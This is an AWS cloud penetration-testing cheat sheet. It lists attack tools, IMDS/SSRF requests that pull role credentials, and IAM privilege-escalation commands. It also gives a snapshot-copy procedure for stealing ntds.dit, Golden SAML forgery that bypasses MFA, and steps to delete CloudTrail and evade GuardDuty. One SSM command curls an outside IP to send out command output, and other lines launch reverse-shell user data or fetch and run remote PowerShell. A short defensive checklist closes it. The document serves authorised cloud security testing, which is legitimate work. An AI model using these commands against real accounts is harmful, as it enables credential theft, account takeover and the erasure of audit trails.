Cloud - AWS

Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.

Summary

AWS
Summary
Training
Tools
AWS - Patterns
- URL Services
- Access Key ID & Secret
AWS - Metadata SSRF
- Method for Elastic Cloud Compute (EC2)
- Method for Container Service (Fargate)
- AWS API calls that return credentials
AWS - Shadow Admin
- Admin equivalent permission
AWS - Gaining AWS Console Access via API Keys
AWS - Enumerate IAM permissions
AWS - Mount EBS volume to EC2 Linux
AWS - Copy EC2 using AMI Image
AWS - Instance Connect - Push an SSH key to EC2 instance
AWS - Lambda - Extract function's code
AWS - SSM - Command execution
AWS - Golden SAML Attack
AWS - Shadow Copy attack
Disable CloudTrail
Cover tracks by obfuscating Cloudtrail logs and Guard Duty
DynamoDB
Security checks
AWSome Pentesting Cheatsheet
References

Training

CloudFoxable: A Gamified Cloud Hacking Sandbox - https://cloudfoxable.bishopfox.com/
AWSGoat : A Damn Vulnerable AWS Infrastructure - https://github.com/ine-labs/AWSGoat
Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
SadCloud - https://github.com/nccgroup/sadcloud
Flaws - http://flaws.cloud
Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat

Tools

CloudFox - Automating situational awareness for cloud penetration tests. Designed for white box enumeration (SecurityAudit/ReadOnly type permission), but can be used for black box (found credentials) as well.
- Either Download the latest binary release for your platform, or build it from source.
```
git clone https://github.com/BishopFox/cloudfox.git
cd ./cloudfox
go build .
```
Run all AWS checks: cloudfox aws --profile [profile-name] all-checks
List all AWS checks: cloudfox aws

SkyArk - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins

Requires read-Only permissions over IAM service

$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth

or in the Cloud Console

PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')  
PS C> Scan-AWShadowAdmins

Pacu - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set

Requires AWS Keys

$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1

# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details

Bucket Finder - Search for public buckets, list and download all files if directory indexing is enabled

wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
    US Standard         = http://s3.amazonaws.com
    Ireland             = http://s3-eu-west-1.amazonaws.com
    Northern California = http://s3-us-west-1.amazonaws.com
    Singapore           = http://s3-ap-southeast-1.amazonaws.com
    Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words

Boto3 - Amazon Web Services (AWS) SDK for Python

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)

Prowler - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness

It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
* Require: arn:aws:iam::aws:policy/SecurityAudit
```
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole  # sts assume-role
```

Principal Mapper - A tool for quickly evaluating IAM permissions in AWS

https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text

# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc

# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc

# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected

# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected

ScoutSuite - Multi-Cloud Security Auditing Tool

$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli

s3_objects_check - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files

$ git clone https://github.com/nccgroup/s3_objects_check
$ python3 -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python s3-objects-check.py -h
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile

cloudsplaining - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report

$ pip3 install --user cloudsplaining
$ cloudsplaining download --profile myawsprofile
$ cloudsplaining scan --input-file default.json

weirdAAL - AWS Attack Library

python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo

cloudmapper - CloudMapper helps you analyze your Amazon Web Services (AWS) environments

git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges

Cognito Scanner - A CLI tool for executing attacks on cognito such as Unwanted account creation, Account Oracle and Identity Pool escalation.

# Installation
$ pip install cognito-scanner
# Usage
$ cognito-scanner --help
# Get information about how to use the unwanted account creation script
$ cogntio-scanner account-creation --help
# For more details go to https://github.com/padok-team/cognito-scanner

dufflebag - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
NetSPI/AWS Consoler - Convert AWS Credentials into a console access

AWS - Patterns

URL Services

Service	URL
s3	https://{user_provided}.s3.amazonaws.com
cloudfront	https://{random_id}.cloudfront.net
ec2	ec2-{ip-seperated}.compute-1.amazonaws.com
es	https://{user_provided}-{random_id}.{region}.es.amazonaws.com
elb	http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
elbv2	https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
rds	mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
rds	postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
route 53	{user_provided}
execute-api	https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
cloudsearch	https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
transfer	sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
iot	mqtt://{random_id}.iot.{region}.amazonaws.com:8883
iot	https://{random_id}.iot.{region}.amazonaws.com:8443
iot	https://{random_id}.iot.{region}.amazonaws.com:443
mq	https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
mq	ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
kafka	b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
kafka	{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
cloud9	https://{random_id}.vfs.cloud9.{region}.amazonaws.com
mediastore	https://{random_id}.data.mediastore.{region}.amazonaws.com
kinesisvideo	https://{random_id}.kinesisvideo.{region}.amazonaws.com
mediaconvert	https://{random_id}.mediaconvert.{region}.amazonaws.com
mediapackage	https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

Access Key ID & Secret

IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.

Prefix	Resource type
ABIA	AWS STS service bearer token
ACCA	Context-specific credential
AGPA	User group
AIDA	IAM user
AIPA	Amazon EC2 instance profile
AKIA	Access key
ANPA	Managed policy
ANVA	Version in a managed policy
APKA	Public key
AROA	Role
ASCA	Certificate
ASIA	Temporary (AWS STS) access key

The rest of the string is Base32 encoded and can be used to recover the account id.

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
    y = x[0:6]

    z = int.from_bytes(y, byteorder='big', signed=False)
    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

    e = (z & mask)>>7
    return (e)


print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

AWS - Metadata SSRF

AWS released additional security defences against the attack.

Only working with IMDSv1. Enabling IMDSv2 : aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required.

In order to use IMDSv2 you must provide a token.

export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"

Method for Elastic Cloud Compute (EC2)

Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id

Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}

Method for Container Service (Fargate)

Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ

JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd

Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447

{
    "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
    "AccessKeyId": "ASIA54BL6PJR2L75XHVS",
    "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
    "Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
    "Expiration": "2019-09-18T04:05:59Z"
}

AWS API calls that return credentials

AWS - Shadow Admin

Admin equivalent permission

AdministratorAccess
```
"Action": "*"
"Resource": "*"
```

ec2:AssociateIamInstanceProfile : attach an IAM instance profile to an EC2 instance

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789

iam:CreateAccessKey : create a new access key to another IAM admin account
```
aws iam create-access-key –user-name target_user
```

iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it

$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

iam:UpdateLoginProfile : reset other IAM users’ login passwords.

$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses

$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
```
iam:CreatePolicy : add a stealthy admin policy

iam:AddUserToGroup : add into the admin group of the organization.

$ aws iam add-user-to-group –group-name target_group –user-name my_username

iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
```

iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one.

$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
```
$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
```
glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
```
$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
```
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.

iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.

# add ssh key
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh

iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account.

$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
$ aws lambda invoke –function-name my_function output.txt

Example of code.py

import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account.

$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub

AWS - Gaining AWS Console Access via API Keys

A utility to convert your AWS CLI credentials into AWS console access.

$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED

AWS - Enumerate IAM permissions

Enumerate the permissions associated with AWS credential set with enumerate-iam

git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
    "RoleDetailList": [
        {
            "Tags": [],
            "AssumeRolePolicyDocument": {
                "Version": "2008-10-17",
                "Statement": [
                    {
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!

AWS - Mount EBS volume to EC2 Linux

EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.

Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
Select the created volume, right click and select the "attach volume" option.

Select the instance from the instance text box as shown below : attach ebs volume

aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device

Now, login to your ec2 instance and list the available disks using the following command : lsblk
Check if the volume has any data using the following command : sudo file -s /dev/xvdf
Format the volume to ext4 filesystem using the following command : sudo mkfs -t ext4 /dev/xvdf
Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : sudo mkdir /newvolume
Mount the volume to "newvolume" directory using the following command : sudo mount /dev/xvdf /newvolume/
cd into newvolume directory and check the disk space for confirming the volume mount : cd /newvolume; df -h .

AWS - Copy EC2 using AMI Image

First you need to extract data about the current instances and their AMI/security groups/subnet : aws ec2 describe-images --region eu-west-1

# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  

# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance 
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

AWS - Instance Connect - Push an SSH key to EC2 instance

# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

AWS - Lambda - Extract function's code

# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

AWS - SSM - Command execution

The ssm-user account is not removed from the system when SSM Agent is uninstalled.

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs): * Windows Server 2008-2012 R2 AMIs published in November 2016 or later * Windows Server 2016 and 2019 * Amazon Linux * Amazon Linux 2 * Ubuntu Server 16.04 * Ubuntu Server 18.04 * Amazon ECS-Optimized

$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

AWS - Golden SAML Attack

https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/

Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.

Requirement: * Token-signing private key (export from personal store using Mimikatz) * IdP public certificate * IdP name * Role name (role to assume)

$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

AWS - Shadow Copy attack

Prerequisite: * EC2:CreateSnapshot * CloudCopy - https://github.com/Static-Flow/CloudCopy

Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
Run "Describe-Instances" and show in list for attacker to select
Run "Create-Snapshot" on volume of selected instance
Run "modify-snapshot-attribute" on new snapshot to set "createVolumePermission" to attacker AWS Account
Load AWS CLI with Attacker Credentials
Run "run-instance" command to create new linux ec2 with our stolen snapshot
Ssh run "sudo mkdir /windows"
Ssh run "sudo mount /dev/xvdf1 /windows/"
Ssh run "sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"
Ssh run "sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"
Ssh run "sudo chown ec2-user:ec2-user /home/ec2-user/*"
SFTP get "/home/ec2-user/SYSTEM ./SYSTEM"
SFTP get "/home/ec2-user/ntds.dit ./ntds.dit"
locally run "secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets', expects secretsdump to be on path

Disable CloudTrail

$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

Disable monitoring of events from global services

$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event

Disable Cloud Trail on specific regions

$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

Cover tracks by obfuscating Cloudtrail logs and Guard Duty

When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)

boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower():  # If the local OS is Kali/Parrot/Pentoo Linux
    # GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
    self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')

DynamoDB

Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.

list tables

$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        

{
    "TableNames": [
        "users"
    ]
}

enumerate table content

$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}

Security checks

Security checks from DenizParlak/Zeus: AWS Auditing & Hardening Tool

Identity and Access Management
Avoid the use of the "root" account
Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
Ensure credentials unused for 90 days or greater are disabled
Ensure access keys are rotated every 90 days or less
Ensure IAM password policy requires at least one uppercase letter
Ensure IAM password policy requires at least one lowercase letter
Ensure IAM password policy requires at least one symbol
Ensure IAM password policy requires at least one number
Ensure IAM password policy requires minimum length of 14 or greater
Ensure no root account access key exists
Ensure MFA is enabled for the "root" account
Ensure security questions are registered in the AWS account
Ensure IAM policies are attached only to groups or role
Enable detailed billing
Maintain current contact details
Ensure security contact information is registered
Ensure IAM instance roles are used for AWS resource access from instances
Logging
Ensure CloudTrail is enabled in all regions
Ensure CloudTrail log file validation is enabled
Ensure the S3 bucket CloudTrail logs to is not publicly accessible
Ensure CloudTrail trails are integrated with CloudWatch Logs
Ensure AWS Config is enabled in all regions
Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
Ensure CloudTrail logs are encrypted at rest using KMS CMKs
Ensure rotation for customer created CMKs is enabled
Networking
Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
Ensure VPC flow logging is enabled in all VPC
Ensure the default security group of every VPC restricts all traffic
Monitoring
Ensure a log metric filter and alarm exist for unauthorized API calls
Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
Ensure a log metric filter and alarm exist for usage of "root" account
Ensure a log metric filter and alarm exist for IAM policy changes
Ensure a log metric filter and alarm exist for CloudTrail configuration changes
Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
Ensure a log metric filter and alarm exist for S3 bucket policy changes
Ensure a log metric filter and alarm exist for AWS Config configuration changes
Ensure a log metric filter and alarm exist for security group changes
Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
Ensure a log metric filter and alarm exist for changes to network gateways
Ensure a log metric filter and alarm exist for route table changes
Ensure a log metric filter and alarm exist for VPC changes

AWSome Pentesting Cheatsheet

Created by pop3ret

Searching for open buckets

https://buckets.grayhatwarfare.com/

